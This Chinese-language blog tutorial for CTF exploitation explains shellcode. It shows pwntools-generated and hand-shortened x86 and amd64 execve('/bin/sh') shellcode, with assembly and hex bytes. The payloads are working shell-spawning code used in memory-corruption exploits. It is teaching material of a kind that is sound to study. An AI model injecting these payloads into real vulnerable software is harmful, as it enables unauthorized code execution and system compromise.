shellcode
196082 慢慢好起来

shellcode理解

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。

在pwn的过程中我们的目标一般来说都是执行system(“/bin/sh”);其实shellcode也是较为类似的,只不过是一串机器码

x86

pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
>>> print(shellcraft.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
>>>

可以很明显的看出来这个python默认生成的shellcode是32位的shellcode。

32位的函数的参数不是栈里面的内容吗,为什么这里非要高寄存器呢?是因为这是系统调用的所以参数使用的是寄存器。

python已经告诉我们上面的shellcode最终执行的是什么了

execve(path=’/bin///sh’, argv=[‘sh’], envp=0)

32位的第一个参数为ebx,后面是ecx,edx

1
2
>>> print(len(asm(shellcraft.sh())))
44

自己编写x86 shellcode

把上面的转化成十六进制代码之后求长度发现有44字节,确实是太长了,所以我们搞清楚本质就可以自己写shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 其实根据上面的可以看出来我们需要满足的条件有以下几条
# ebx=/bin/sh
# ecx=0
# edx=0
# eax=0xb (系统调用号,后面有系统调用号很全的网站)
# 所以根据上面的要求进行修改就好

push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor eax,eax
mov al,0xb
int 0x80
1
2
>>> len('\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x31\xD2\x31\xC0\xB0\x0B\xCD\x80')
22

可以看到我们就只需要22字节了省了一半,当然还可以更简短,自己下去写

amd64

pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
>>> context.arch='amd64'
>>> print(shellcraft.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

>>>

这里的思路和x86是一样的只是使用的寄存器不相同

自己编写x86 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 其实根据上面的可以看出来我们需要满足的条件有以下几条
# rdi=/bin/sh
# rsi=0
# rdx=0
# rax=0x3b (系统调用号,后面有系统调用号很全的网站)
# syscall 这里和x86有点区别
# 所以根据上面的要求进行修改就好

mov rbx,0x68732f6e69622f
push rbx
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall
1
2
3
>>> len('\x48\xBB\x2F\x62\x69\x6E\x2F\x73\x68\x00\x53\x54\x5F\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05')
28
>>>

也少了很多哈,同样也不是最少的,可以去网上搜或则自己写

32位和64位系统调用表

https://blog.k0nashi.cn/2021/09/14/syscall-table/

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量